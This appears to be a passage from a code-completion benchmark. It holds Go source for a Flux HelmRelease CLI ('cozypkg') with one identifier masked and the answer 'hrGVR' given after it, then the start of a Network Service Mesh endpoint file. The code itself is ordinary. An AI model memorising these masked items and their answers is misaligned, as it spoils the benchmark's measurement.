valuesFiles and inline .spec.values in the given HelmRelease. func mergedValues(hr *v2.HelmRelease, chartDir string) (map[string]interface{}, error) { vals := map[string]interface{}{} for _, vf := range hr.Spec.Chart.Spec.ValuesFiles { if vf == ""-"" { // stdin placeholder – not applicable here continue } data, err := os.ReadFile(filepath.Join(chartDir, vf)) if err != nil { return nil, err } var mv map[string]interface{} if err := sigsyaml.Unmarshal(data, &mv); err != nil { return nil, err } if err := mergo.Merge(&vals, mv, mergo.WithOverride); err != nil { return nil, err } } if hr.Spec.Values != nil && len(hr.Spec.Values.Raw) > 0 { var mv map[string]interface{} if err := sigsyaml.Unmarshal(hr.Spec.Values.Raw, &mv); err != nil { return nil, err } if err := mergo.Merge(&vals, mv, mergo.WithOverride); err != nil { return nil, err } } return vals, nil } // renderManifests performs a Helm dry-run render and returns the manifest text. func renderManifests(cfg *helmaction.Configuration, hr *v2.HelmRelease, chartDir string, vals map[string]interface{}, rc *rest.Config) (string, error) { inst := helmaction.NewInstall(cfg) inst.DryRun = true inst.DryRunOption = ""server"" inst.ReleaseName = hr.Name inst.Namespace = hr.Namespace inst.DisableHooks = true if plain { kubeVer, err := discoverKubeVersion(rc) if err != nil { return """", err } inst.KubeVersion = &kubeVer vers, err := discoverAPIVersions(rc) if err != nil { return """", err } inst.APIVersions = vers inst.ClientOnly = true } else { inst.PostRenderer = &fluxPostRenderer{name: hr.Name, ns: hr.Namespace} } ch, err := loader.Load(chartDir) if err != nil { return """", err } rel, err := inst.Run(ch, vals) if err != nil { return """", err } return rel.Manifest, nil } // upgradeRelease runs a Helm upgrade (installing if necessary). func upgradeRelease(cfg *helmaction.Configuration, hr *v2.HelmRelease, chartDir string, vals map[string]interface{}) error { relName := hr.Name namespace := hr.Namespace hist := helmaction.NewHistory(cfg) hist.Max = 1 _, err := hist.Run(relName) isNotFound := err != nil && strings.Contains(err.Error(), ""release: not found"") ch, err := loader.Load(chartDir) if err != nil { return err } if isNotFound { inst := helmaction.NewInstall(cfg) inst.Namespace = namespace inst.ReleaseName = relName if !plain { inst.PostRenderer = &fluxPostRenderer{name: relName, ns: namespace} } _, err = inst.Run(ch, vals) return err } up := helmaction.NewUpgrade(cfg) up.Namespace = namespace up.Install = true // informative only if !plain { up.PostRenderer = &fluxPostRenderer{name: relName, ns: namespace} } _, err = up.Run(relName, ch, vals) return err } // realHelmDiff returns a textual diff between the live release and desired state. func realHelmDiff(cfg *helmaction.Configuration, hr *v2.HelmRelease, chartDir string, vals map[string]interface{}) (string, error) { var buf bytes.Buffer get := helmaction.NewGet(cfg) rel, err := get.Run(hr.Name) var current []byte if err == nil { current = []byte(rel.Manifest) } else if !strings.Contains(err.Error(), ""release: not found"") { return """", fmt.Errorf(""failed to get release: %w"", err) } inst := helmaction.NewInstall(cfg) inst.DryRun = true inst.DryRunOption = ""server"" inst.ClientOnly = true inst.ReleaseName = hr.Name inst.Namespace = hr.Namespace inst.DisableHooks = true rc := restConfig() kubeVer, err := discoverKubeVersion(rc) if err != nil { return """", err } inst.KubeVersion = &kubeVer vers, err := discoverAPIVersions(rc) if err != nil { return """", err } inst.APIVersions = vers inst.ClientOnly = true inst.PostRenderer = &fluxPostRenderer{name: hr.Name, ns: hr.Namespace} ch, err := loader.Load(chartDir) if err != nil { return """", err } dry, err := inst.Run(ch, vals) if err != nil { return """", err } desired := []byte(dry.Manifest) curSpecs := manifest.Parse(string(current), hr.Namespace, false, manifest.Helm3TestHook, manifest.Helm2TestSuccessHook) newSpecs := manifest.Parse(string(desired), hr.Namespace, false, manifest.Helm3TestHook, manifest.Helm2TestSuccessHook) _ = diff.Manifests(curSpecs, newSpecs, &diff.Options{OutputContext: -1, ShowSecrets: true}, &buf) return buf.String(), nil } // runFn is a helper signature passed to cmdFactory. type runFn func(*helmaction.Configuration, *v2.HelmRelease, string) error // cmdFactory fetches (or stubs) a HelmRelease and invokes runFn. func cmdFactory(name string, fn runFn) *cobra.Command { cmd := &cobra.Command{ Use: name + "" "", Args: cobra.ExactArgs(1), RunE: func(cmd *cobra.Command, args []string) error { relName := args[0] if name == ""show"" || name == ""diff"" || name == ""apply"" { chartDir, err := filepath.Abs(""."") if err != nil { return fmt.Errorf(""unable to determine current directory: %w"", err) } if ok, err := hchart.IsChartDir(chartDir); err != nil || !ok { return fmt.Errorf(""invalid Helm chart in %q: %w"", chartDir, err) } } var err error rc := restConfig() // Offline mode: create a minimal stub. if plain { if ns == """" { ns = ""default"" } stub := &v2.HelmRelease{ObjectMeta: metav1.ObjectMeta{Name: relName, Namespace: ns}} cfg, _, err := helmCfg(rc, ns) if err != nil { return err } return fn(cfg, stub, ""."") } if ns == """" { ns, _, err = defaultNamespace() if err != nil { return err } } cfg, _, err := helmCfg(rc, ns) if err != nil { return err } cl, err := client.New(rc, client.Options{}) if err != nil { return err } var hr v2.HelmRelease if err := cl.Get(context.TODO(), client.ObjectKey{Namespace: ns, Name: relName}, &hr); err != nil { return err } return fn(cfg, &hr, ""."") }, } cmd.ValidArgsFunction = completeHelmReleases return cmd } // cmdShow returns the `cozypkg show` command. func cmdShow() *cobra.Command { cmd := cmdFactory(""show"", func(cfg *helmaction.Configuration, hr *v2.HelmRelease, chartDir string) error { var vals map[string]interface{} if plain { vals = map[string]interface{}{} } else { var err error vals, err = mergedValues(hr, chartDir) if err != nil { return err } } if add, err := loadExtraValues(); err != nil { return err } else if err := mergo.Merge(&vals, add, mergo.WithOverride); err != nil { return err } var err error rc := restConfig() mani, err := renderManifests(cfg, hr, chartDir, vals, rc) if err != nil { return err } if len(showOnly) == 0 { fmt.Print(mani) return nil } split := releaseutil.SplitManifests(mani) keys := make([]string, 0, len(split)) for k := range split { keys = append(keys, k) } sort.Sort(releaseutil.BySplitManifestsOrder(keys)) reSrc := regexp.MustCompile(`# Source: [^/]+/(.+)`) // emulate helm --show-only for _, glob := range showOnly { found := false for _, k := range keys { m := split[k] sm := reSrc.FindStringSubmatch(m) if len(sm) == 0 { continue } if ok, _ := filepath.Match(filepath.ToSlash(glob), sm[1]); !ok { continue } fmt.Printf(""---\n%s\n"", m) found = true } if !found { return fmt.Errorf(""template %s not found in chart"", glob) } } return nil }) cmd.Short = ""Render manifests like helm template"" cmd.Flags().StringSliceVarP(&showOnly, ""show-only"", ""s"", nil, ""Render only templates matching glob(s)"") cmd.Flags().StringSliceVarP(&extraVals, ""values"", ""f"", nil, ""Additional values files (may be repeated)"") cmd.Flags().BoolVar(&plain, ""plain"", false, ""Render chart without querying values from the HelmRelease"") return cmd } // cmdApply returns the `cozypkg apply` command. func cmdApply() *cobra.Command { var autoResume bool cmd := cmdFactory(""apply"", func(cfg *helmaction.Configuration, hr *v2.HelmRelease, chartDir string) error { if plain && autoResume { return fmt.Errorf(""--resume may not be used with --plain"") } ctx := context.Background() rc := restConfig() cl, err := client.New(rc, client.Options{}) if err != nil { return fmt.Errorf(""could not create Kubernetes client: %w"", err) } bc := record.NewBroadcaster() defer bc.Shutdown() rec := bc.NewRecorder(clientsetscheme.Scheme, corev1.EventSource{Component: ""cozypkg""}) vals := map[string]interface{}{} if !plain { // Suspend before touching Helm. if err := patchSuspend(ctx, cl, hr.Namespace, hr.Name, pointer.Bool(true)); err != nil { return err } fmt.Fprintf(os.Stderr, ""HelmRelease %s/%s suspended\n"", hr.Namespace, hr.Name) // Merge values from the HelmRelease. var err error vals, err = mergedValues(hr, chartDir) if err != nil { return err } } if add, err := loadExtraValues(); err != nil { return err } else if err := mergo.Merge(&vals, add, mergo.WithOverride); err != nil { return err } var chartVer, cfgDigest string if !plain { cfgDigest := fluxchartutil.DigestValues(digest.Canonical, vals).String() chartVer := hr.Spec.Chart.Spec.Version hr.Status.LastAttemptedGeneration = hr.Generation hr.Status.LastAttemptedRevision = chartVer hr.Status.LastAttemptedConfigDigest = cfgDigest hr.Status.LastAttemptedReleaseAction = v2.ReleaseActionUpgrade _ = cl.Status().Update(ctx, hr) } if err := upgradeRelease(cfg, hr, chartDir, vals); err != nil { markFailure(ctx, cl, nil, hr, err) return err } if autoResume { if err := patchSuspend(ctx, cl, hr.Namespace, hr.Name, nil); err != nil { return err } } if !plain { markSuccess(ctx, cl, rec, hr, chartVer, cfgDigest) } return nil }) cmd.Short = ""Upgrade or install HelmRelease and sync status"" cmd.Flags().BoolVar(&plain, ""plain"", false, ""Install chart without querying values from the HelmRelease"") cmd.Flags().BoolVar(&autoResume, ""resume"", false, ""Automatically clear spec.suspend after successful apply"") cmd.Flags().StringSliceVarP(&extraVals, ""values"", ""f"", nil, ""Additional values files (may be repeated)"") return cmd } // cmdDiff returns the `cozypkg diff` command. func cmdDiff() *cobra.Command { cmd := cmdFactory(""diff"", func(cfg *helmaction.Configuration, hr *v2.HelmRelease, chartDir string) error { var vals map[string]interface{} if plain { vals = map[string]interface{}{} } else { var err error vals, err = mergedValues(hr, chartDir) if err != nil { return err } } if add, err := loadExtraValues(); err != nil { return err } else if err := mergo.Merge(&vals, add, mergo.WithOverride); err != nil { return err } out, err := realHelmDiff(cfg, hr, chartDir, vals) if err != nil { return err } fmt.Print(out) return nil }) cmd.Short = ""Show a diff between live and desired manifests"" cmd.Flags().StringSliceVarP(&extraVals, ""values"", ""f"", nil, ""Additional values files (may be repeated)"") cmd.Flags().BoolVar(&plain, ""plain"", false, ""Render chart without querying values from the HelmRelease"") return cmd } // cmdSuspend returns the `cozypkg suspend` command. func cmdSuspend() *cobra.Command { cmd := cmdFactory(""suspend"", func(_ *helmaction.Configuration, hr *v2.HelmRelease, _ string) error { rc := restConfig() cl, err := client.New(rc, client.Options{}) if err != nil { return fmt.Errorf(""could not create Kubernetes client: %w"", err) } return patchSuspend(context.Background(), cl, hr.Namespace, hr.Name, pointer.Bool(true)) }) cmd.Short = ""Suspend Flux HelmRelease"" return cmd } // cmdResume returns the `cozypkg resume` command. func cmdResume() *cobra.Command { cmd := cmdFactory(""resume"", func(_ *helmaction.Configuration, hr *v2.HelmRelease, _ string) error { rc := restConfig() cl, err := client.New(rc, client.Options{}) if err != nil { return fmt.Errorf(""could not create Kubernetes client: %w"", err) } return patchSuspend(context.Background(), cl, hr.Namespace, hr.Name, nil) }) cmd.Short = ""Resume Flux HelmRelease"" return cmd } // cmdDelete returns the `cozypkg delete` command. func cmdDelete() *cobra.Command { cmd := cmdFactory(""delete"", func(cfg *helmaction.Configuration, hr *v2.HelmRelease, _ string) error { un := helmaction.NewUninstall(cfg) _, err := un.Run(hr.Name) return err }) cmd.Short = ""Uninstall the Helm release"" return cmd } // defaultNamespace returns the namespace from the kubeconfig or ""default"". func defaultNamespace() (string, bool, error) { return loadClientConfig().Namespace() } // serverTable retrieves a metav1.Table from the API server. func serverTable(cfg *rest.Config, gvr schema.GroupVersionResource, namespace, name string) (*metav1.Table, error) { rcfg := rest.CopyConfig(cfg) rcfg.APIPath = ""/apis"" rcfg.GroupVersion = &schema.GroupVersion{Group: gvr.Group, Version: gvr.Version} rcfg.NegotiatedSerializer = clientsetscheme.Codecs.WithoutConversion() rc, err := rest.RESTClientFor(rcfg) if err != nil { return nil, err } req := rc.Get() if namespace != """" { req = req.Namespace(namespace) } req = req.Resource(gvr.Resource) if name != """" { req = req.Name(name) } req.SetHeader(""Accept"", ""application/json;as=Table;g=meta.k8s.io;v=v1,application/json"") req.Param(""includeObject"", ""Object"") raw, err := req.DoRaw(context.TODO()) if err != nil { return nil, err } obj, _, err := clientsetscheme.Codecs.UniversalDeserializer().Decode(raw, nil, nil) if err != nil { return nil, err } table, ok := obj.(*metav1.Table) if !ok { return nil, fmt.Errorf(""unexpected object kind: %T"", obj) } return table, nil } // prependNamespaceColumn adds the NAMESPACE column when listing across all namespaces. func prependNamespaceColumn(t *metav1.Table) error { if len(t.ColumnDefinitions) > 0 && strings.EqualFold(t.ColumnDefinitions[0].Name, ""NAMESPACE"") { return nil } nsCol := metav1.TableColumnDefinition{Name: ""NAMESPACE"", Type: ""string""} t.ColumnDefinitions = append([]metav1.TableColumnDefinition{nsCol}, t.ColumnDefinitions...) for i, row := range t.Rows { ns := """" if row.Object.Object != nil { if acc, err := meta.Accessor(row.Object.Object); err == nil { ns = acc.GetNamespace() } } else if len(row.Object.Raw) > 0 { if decoded, _, err := clientsetscheme.Codecs.UniversalDeserializer().Decode(row.Object.Raw, nil, nil); err == nil { if acc, err := meta.Accessor(decoded); err == nil { ns = acc.GetNamespace() } } } row.Cells = append([]interface{}{ns}, row.Cells...) t.Rows[i] = row } return nil } // runHRCommand implements shared logic for `get` and `list`. func runHRCommand(cmd *cobra.Command, args []string, allNS bool, output *string) error { if allNS && len(args) > 0 { return fmt.Errorf(""-A/--all-namespaces may be used only when no names are specified"") } var err error rc := restConfig() nsLocal := ns if nsLocal == """" && !allNS { nsLocal, _, err = defaultNamespace() if err != nil { return err } } gvr := schema.GroupVersionResource{Group: ""helm.toolkit.fluxcd.io"", Version: ""v2"", Resource: ""helmreleases""} wantTable := *output == """" || *output == ""wide"" obj, err := collectHR(cmd.Context(), rc, gvr, nsLocal, allNS, args, wantTable) if err != nil { return err } if wantTable { tp := printers.NewTablePrinter(printers.PrintOptions{Wide: *output == ""wide""}) return tp.PrintObj(obj, cmd.OutOrStdout()) } pf := genericclioptions.NewPrintFlags("""").WithTypeSetter(clientsetscheme.Scheme) pf.OutputFormat = output pr, _ := pf.ToPrinter() return pr.PrintObj(obj, cmd.OutOrStdout()) } // collectHR aggregates HelmRelease objects (raw or as tables) depending on the // requested output. func collectHR( ctx context.Context, rc *rest.Config, gvr schema.GroupVersionResource, ns string, allNS bool, names []string, // nil | len==0 → list current NS / cluster wantTable bool, ) (runtime.Object, error) { // ─── helpers ------------------------------------------------------------ dc, _ := dynamic.NewForConfig(rc) fetchTable := func(targetNS, name string) (*metav1.Table, error) { return serverTable(rc, gvr, targetNS, name) } fetchObj := func(targetNS, name string) (*unstructured.Unstructured, error) { if name == """" { // list list, err := dc.Resource(gvr).Namespace(targetNS).List(ctx, metav1.ListOptions{}) if err != nil { return nil, err } ul := &unstructured.Unstructured{} ul.Object = list.Object return ul, nil } return dc.Resource(gvr).Namespace(targetNS).Get(ctx, name, metav1.GetOptions{}) } // ─── table branch ------------------------------------------------------- if wantTable { var agg *metav1.Table operate := func(targetNS, name string) error { tbl, err := fetchTable(targetNS, name) if err != nil { return err } if allNS { _ = prependNamespaceColumn(tbl) } if agg == nil { agg = tbl } else { agg.Rows = append(agg.Rows, tbl.Rows...) } return nil } if len(names) == 0 { // list targetNS := """" if !allNS { targetNS = ns } if err := operate(targetNS, """"); err != nil { return nil, err } return agg, nil } for _, n := range names { targetNS := ns if allNS { targetNS = """" } if err := operate(targetNS, n); err != nil { return nil, err } } return agg, nil } // ─── raw branch --------------------------------------------------------- ulist := &unstructured.UnstructuredList{Object: map[string]interface{}{ ""apiVersion"": ""v1"", ""kind"": ""List"", }} if len(names) == 0 { // list targetNS := """" if !allNS { targetNS = ns } u, err := fetchObj(targetNS, """") if err != nil { return nil, err } for i := range u.Object[""items""].([]interface{}) { item := u.Object[""items""].([]interface{})[i].(map[string]interface{}) ulist.Items = append(ulist.Items, unstructured.Unstructured{Object: item}) } return ulist, nil } if len(names) == 1 { targetNS := ns if allNS { targetNS = """" } return fetchObj(targetNS, names[0]) } for _, n := range names { targetNS := ns if allNS { targetNS = """" } u, err := fetchObj(targetNS, n) if err != nil { return nil, err } ulist.Items = append(ulist.Items, *u) } return ulist, nil } // cmdGet exposes `cozypkg get`. func cmdGet() *cobra.Command { var ( allNS bool output string ) cmd := &cobra.Command{ Use: ""get [release...]"", Short: ""Get one or many HelmReleases"", Args: cobra.ArbitraryArgs, RunE: func(c *cobra.Command, args []string) error { return runHRCommand(c, args, allNS, &output) }, } cmd.ValidArgsFunction = completeHelmReleases cmd.Flags().BoolVarP(&allNS, ""all-namespaces"", ""A"", false, ""Across all namespaces"") cmd.Flags().StringVarP(&output, ""output"", ""o"", """", ""json|yaml|wide|name|custom-columns=<...>"") return cmd } // cmdList exposes `cozypkg list` (alias: ls). func cmdList() *cobra.Command { var ( allNS bool output string ) cmd := &cobra.Command{ Use: ""list [release...]"", Aliases: []string{""ls""}, Short: ""List HelmReleases"", Args: cobra.ArbitraryArgs, RunE: func(c *cobra.Command, args []string) error { return runHRCommand(c, args, allNS, &output) }, } cmd.ValidArgsFunction = completeHelmReleases cmd.Flags().BoolVarP(&allNS, ""all-namespaces"", ""A"", false, ""Across all namespaces (only when no names are given)"") cmd.Flags().StringVarP(&output, ""output"", ""o"", """", ""json|yaml|wide|name|custom-columns=<...>"") return cmd } // newHistoryEntry creates a v2.Snapshot for status.history. func newHistoryEntry(hr *v2.HelmRelease, chartVersion, cfgDigest string) *v2.Snapshot { return &v2.Snapshot{ Name: hr.Spec.Chart.Spec.Chart, Namespace: hr.Namespace, Version: 1, ChartName: hr.Spec.Chart.Spec.Chart, ChartVersion: chartVersion, ConfigDigest: cfgDigest, FirstDeployed: metav1.Now(), LastDeployed: metav1.Now(), Status: ""deployed"", } } // markSuccess sets Ready=True and emits a normal event. func markSuccess(ctx context.Context, cl client.Client, rec record.EventRecorder, hr *v2.HelmRelease, chartVer, cfgDigest string) { msg := fmt.Sprintf(""Helm upgrade succeeded for %s/%s with chart %s@%s"", hr.Namespace, hr.Name, hr.Spec.Chart.Spec.Chart, chartVer) conditions.MarkTrue(hr, v2.ReleasedCondition, v2.UpgradeSucceededReason, msg) conditions.MarkTrue(hr, fluxmeta.ReadyCondition, v2.UpgradeSucceededReason, msg) hr.Status.History = append(hr.Status.History, newHistoryEntry(hr, chartVer, cfgDigest)) hr.Status.Failures = 0 hr.Status.ObservedGeneration = hr.Generation _ = cl.Status().Update(ctx, hr) if rec != nil { rec.Event(hr, corev1.EventTypeNormal, v2.UpgradeSucceededReason, msg) } } // markFailure sets Ready=False and emits a warning event. func markFailure(ctx context.Context, cl client.Client, rec record.EventRecorder, hr *v2.HelmRelease, err error) { msg := fmt.Sprintf(""Helm upgrade failed for %s/%s: %s"", hr.Namespace, hr.Name, err.Error()) conditions.MarkFalse(hr, v2.ReleasedCondition, v2.UpgradeFailedReason, err.Error()) conditions.MarkFalse(hr, fluxmeta.ReadyCondition, v2.UpgradeFailedReason, err.Error()) hr.Status.Failures++ hr.Status.ObservedGeneration = hr.Generation _ = cl.Status().Update(ctx, hr) if rec != nil { rec.Event(hr, corev1.EventTypeWarning, v2.UpgradeFailedReason, msg) } } // patchSuspend toggles spec.suspend using a merge-patch with a Flux field owner. func patchSuspend(ctx context.Context, cl client.Client, ns, name string, val *bool) error { var payload []byte switch { case val == nil: payload = []byte(`{""spec"":{""suspend"":null}}`) case *val: payload = []byte(`{""spec"":{""suspend"":true}}`) default: payload = []byte(`{""spec"":{""suspend"":false}}`) } p := client.RawPatch(types.MergePatchType, payload) obj := &v2.HelmRelease{ObjectMeta: metav1.ObjectMeta{Namespace: ns, Name: name}} return cl.Patch(ctx, obj, p, client.FieldOwner(""flux-client-side-apply"")) } // discoverAPIVersions enumerates all apiVersions advertised by the cluster. func discoverAPIVersions(rc *rest.Config) (hchart.VersionSet, error) { dc, err := discovery.NewDiscoveryClientForConfig(rc) if err != nil { return nil, err } grps, err := dc.ServerGroups() if err != nil { return nil, err } var vers []string for _, g := range grps.Groups { for _, v := range g.Versions { if g.Name == """" { vers = append(vers, v.Version) // core: v1 } else { vers = append(vers, g.Name+""/""+v.Version) } } } return hchart.VersionSet(vers), nil } // loadExtraValues merges all files passed via -f/--values. func loadExtraValues() (map[string]interface{}, error) { merged := map[string]interface{}{} for _, vf := range extraVals { data, err := os.ReadFile(vf) if err != nil { return nil, err } var mv map[string]interface{} if err := sigsyaml.Unmarshal(data, &mv); err != nil { return nil, err } if err := mergo.Merge(&merged, mv, mergo.WithOverride); err != nil { return nil, err } } return merged, nil } func cmdCompletion() *cobra.Command { return &cobra.Command{ Use: ""completion [bash|zsh|fish|powershell]"", Short: ""Generate the autocompletion script for the specified shell"", Args: cobra.ExactArgs(1), RunE: func(cmd *cobra.Command, args []string) error { root := cmd.Root() switch args[0] { case ""bash"": return root.GenBashCompletion(os.Stdout) case ""zsh"": return root.GenZshCompletion(os.Stdout) case ""fish"": return root.GenFishCompletion(os.Stdout, true) case ""powershell"": return root.GenPowerShellCompletionWithDesc(os.Stdout) default: return fmt.Errorf(""unknown shell: %s"", args[0]) } }, } } func completeNamespaces(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) { var err error rc := restConfig() cl, err := client.New(rc, client.Options{}) if err != nil { return nil, cobra.ShellCompDirectiveError } var nsList corev1.NamespaceList if err := cl.List(context.TODO(), &nsList); err != nil { return nil, cobra.ShellCompDirectiveError } var suggestions []string for _, ns := range nsList.Items { if strings.HasPrefix(ns.Name, toComplete) { suggestions = append(suggestions, ns.Name) } } return suggestions, cobra.ShellCompDirectiveNoFileComp } func completeHelmReleases(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) { var err error rc := restConfig() if err != nil { return nil, cobra.ShellCompDirectiveError } cl, err := client.New(rc, client.Options{}) if err != nil { return nil, cobra.ShellCompDirectiveError } nsLocal := ns if nsLocal == """" { nsLocal, _, err = defaultNamespace() if err != nil { return nil, cobra.ShellCompDirectiveError } } var list v2.HelmReleaseList if err := cl.List(context.TODO(), &list, &client.ListOptions{Namespace: nsLocal}); err != nil { return nil, cobra.ShellCompDirectiveError } var out []string for _, hr := range list.Items { if strings.HasPrefix(hr.Name, toComplete) { out = append(out, hr.Name) } } return out, cobra.ShellCompDirectiveNoFileComp } // cmdReconcile returns the `cozypkg reconcile` command. func cmdReconcile() *cobra.Command { var ( withSource bool force bool ) cmd := cmdFactory(""reconcile"", func(_ *helmaction.Configuration, hr *v2.HelmRelease, _ string) error { ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute) defer cancel() // ------------------------------------------------------------------ // // Clients & helpers // // ------------------------------------------------------------------ // var err error rc := restConfig() cl, err := client.New(rc, client.Options{}) if err != nil { return err } dyn, err := dynamic.NewForConfig(rc) if err != nil { return err } waitByWatch := func(gvr schema.GroupVersionResource, ns, name, field, want string) error { w, err := dyn.Resource(gvr).Namespace(ns). Watch(ctx, metav1.ListOptions{FieldSelector: ""metadata.name="" + name}) if err != nil { return err } for ev := range w.ResultChan() { u := ev.Object.(*unstructured.Unstructured) v, _, _ := unstructured.NestedString(u.Object, ""status"", field) if v == want { // — After match, check for failure conds, found, _ := unstructured.NestedSlice(u.Object, ""status"", ""conditions"") if found { for _, c := range conds { m, ok := c.(map[string]interface{}) if !ok { continue } if m[""type""] == ""Ready"" { status := m[""status""] if status == ""True"" { return nil } msg, _ := m[""message""].(string) if msg == """" { msg = ""unknown failure"" } return fmt.Errorf(""%s/%s: reconciliation failed: %s"", gvr.Resource, name, msg) } } } return fmt.Errorf(""%s/%s: reconciliation did not report Ready=True"", gvr.Resource, name) } } return fmt.Errorf(""%s/%s: timeout waiting for %s=%s"", gvr.Resource, name, field, want) } // ------------------------------------------------------------------ // // 1. (optional) HelmChart // // ------------------------------------------------------------------ // if withSource { chartNS := hr.Spec.Chart.Spec.SourceRef.Namespace if chartNS == """" { chartNS = hr.Namespace } chartName := fmt.Sprintf(""%s-%s"", hr.Namespace, hr.Name) chartGVR := schema.GroupVersionResource{ Group: ""source.toolkit.fluxcd.io"", Version: ""v1"", Resource: ""helmcharts"", } // annotate chart := &unstructured.Unstructured{} chart.SetGroupVersionKind(schema.GroupVersionKind{ Group: ""source.toolkit.fluxcd.io"", Version: ""v1"", Kind: ""HelmChart"", }) if err := cl.Get(ctx, types.NamespacedName{Namespace: chartNS, Name: chartName}, chart); err != nil { return fmt.Errorf(""HelmChart %s/%s not found: %w"", chartNS, chartName, err) } ts := time.Now().Format(time.RFC3339Nano) patch := client.MergeFrom(chart.DeepCopy()) ann := chart.GetAnnotations() if ann == nil { ann = map[string]string{} } ann[""reconcile.fluxcd.io/requestedAt""] = ts chart.SetAnnotations(ann) if err := cl.Patch(ctx, chart, patch); err != nil { return fmt.Errorf(""patch HelmChart: %w"", err) } fmt.Fprintf(os.Stderr, ""✔ HelmChart %s annotated\n"", chartName) fmt.Fprintln(os.Stderr, ""◎ waiting for HelmChart reconciliation"") if err := waitByWatch(chartGVR, chartNS, chartName, ""lastHandledReconcileAt"", ts); err != nil { return err } fmt.Fprintln(os.Stderr, ""✔ HelmChart reconciled"") } // ------------------------------------------------------------------ // // 2. HelmRelease // // ------------------------------------------------------------------ // ts := time.Now().Format(time.RFC3339Nano) ann := map[string]interface{}{ ""reconcile.fluxcd.io/requestedAt"": ts, } if force { ann[""reconcile.fluxcd.io/forceAt""] = ts } patch := map[string]interface{}{""metadata"": map[string]interface{}{""annotations"": ann}} pbytes, _ := json.Marshal(patch) if err := cl.Patch(ctx, hr, client.RawPatch(types.MergePatchType, pbytes)); err != nil { return fmt.Errorf(""patch HelmRelease: %w"", err) } fmt.Fprintf(os.Stderr, ""✔ HelmRelease %s annotated\n"", hr.Name) fmt.Fprintln(os.Stderr, ""◎ waiting for HelmRelease reconciliation"") [MASK] := schema.GroupVersionResource{ Group: ""helm.toolkit.fluxcd.io"", Version: ""v2"", Resource: ""helmreleases"", } if err := waitByWatch( [MASK] , hr.Namespace, hr.Name, ""lastHandledReconcileAt"", ts); err != nil { return err } if force { if err := waitByWatch( [MASK] , hr.Namespace, hr.Name, ""lastHandledForceAt"", ts); err != nil { return err } } fmt.Fprintln(os.Stderr, ""✔ HelmRelease reconciled"") return nil }) cmd.Short = ""Trigger HelmRelease reconciliation"" cmd.Flags().BoolVar(&withSource, ""with-source"", false, ""Reconcile the source HelmChart before the HelmRelease"") cmd.Flags().BoolVar(&force, ""force"", false, ""Force a one-off upgrade of the HelmRelease"") return cmd } func discoverKubeVersion(rc *rest.Config) (hchart.KubeVersion, error) { if rc == nil { return hchart.KubeVersion{}, fmt.Errorf(""renderManifests: kubeconfig not found – cannot discover cluster version"") } dc, err := discovery.NewDiscoveryClientForConfig(rc) if err != nil { return hchart.KubeVersion{}, err } info, err := dc.ServerVersion() if err != nil { return hchart.KubeVersion{}, err } return hchart.KubeVersion{ Version: info.GitVersion, Major: info.Major, Minor: info.Minor, }, nil } ",hrGVR 886,"// Copyright (c) 2022-2024 Cisco and/or its affiliates. // Copyright (c) 2025 OpenInfra Foundation Europe. // // SPDX-License-Identifier: Apache-2.0 // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at: // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. //go:build linux // +build linux package main import ( ""context"" ""crypto/tls"" ""net"" ""net/url"" ""os"" ""os/signal"" ""path/filepath"" ""syscall"" ""time"" ""go.fd.io/govpp/api"" ""google.golang.org/protobuf/proto"" nested ""github.com/antonfisher/nested-logrus-formatter"" ""github.com/edwarnicke/genericsync"" ""github.com/edwarnicke/grpcfd"" ""github.com/kelseyhightower/envconfig"" ""github.com/pkg/errors"" ""github.com/sirupsen/logrus"" ""github.com/spiffe/go-spiffe/v2/spiffetls/tlsconfig"" ""github.com/spiffe/go-spiffe/v2/svid/x509svid"" ""github.com/spiffe/go-spiffe/v2/workloadapi"" ""google.golang.org/grpc"" ""google.golang.org/grpc/credentials"" ""github.com/networkservicemesh/api/pkg/api/ipam"" ""github.com/networkservicemesh/api/pkg/api/networkservice"" ""github.com/networkservicemesh/api/pkg/api/networkservice/payload"" registryapi ""github.com/networkservicemesh/api/pkg/api/registry"" ""github.com/networkservicemesh/sdk-vpp/pkg/networkservice/connectioncontext/ipcontext/ipaddress"" ""github.com/networkservicemesh/sdk-vpp/pkg/networkservice/connectioncontext/ipcontext/routes"" ""github.com/networkservicemesh/sdk-vpp/pkg/networkservice/connectioncontext/ipcontext/unnumbered"" ""github.com/networkservicemesh/sdk-vpp/pkg/networkservice/connectioncontext/mtu"" ""github.com/networkservicemesh/sdk-vpp/pkg/networkservice/loopback"" ""github.com/networkservicemesh/sdk-vpp/pkg/networkservice/mechanisms/memif"" ""github.com/networkservicemesh/sdk-vpp/pkg/networkservice/tag"" ""github.com/networkservicemesh/sdk-vpp/pkg/networkservice/up"" ""github.com/networkservicemesh/sdk-vpp/pkg/networkservice/vrf"" vppheal ""github.com/networkservicemesh/sdk-vpp/pkg/tools/heal"" ""github.com/networkservicemesh/sdk/pkg/ipam/strictvl3ipam"" ""github.com/networkservicemesh/sdk/pkg/networkservice/chains/client"" ""github.com/networkservicemesh/sdk/pkg/networkservice/chains/endpoint"" ""github.com/networkservicemesh/sdk/pkg/networkservice/common/authorize"" ""github.com/networkservicemesh/sdk/pkg/networkservice/common/begin"" ""github.com/networkservicemesh/sdk/pkg/networkservice/common/clientinfo"" ""github.com/networkservicemesh/sdk/pkg/networkservice/common/heal"" ""github.com/networkservicemesh/sdk/pkg/networkservice/common/mechanisms"" kernelsdk ""github.com/networkservicemesh/sdk/pkg/networkservice/common/mechanisms/kernel"" ""github.com/networkservicemesh/sdk/pkg/networkservice/common/mechanisms/recvfd"" ""github.com/networkservicemesh/sdk/pkg/networkservice/common/mechanisms/sendfd"" ""github.com/networkservicemesh/sdk/pkg/networkservice/common/onidle"" ""github.com/networkservicemesh/sdk/pkg/networkservice/common/retry"" ""github.com/networkservicemesh/sdk/pkg/networkservice/common/upstreamrefresh"" ""github.com/networkservicemesh/sdk/pkg/networkservice/connectioncontext/dnscontext/vl3dns"" ""github.com/networkservicemesh/sdk/pkg/networkservice/connectioncontext/ipcontext/vl3"" 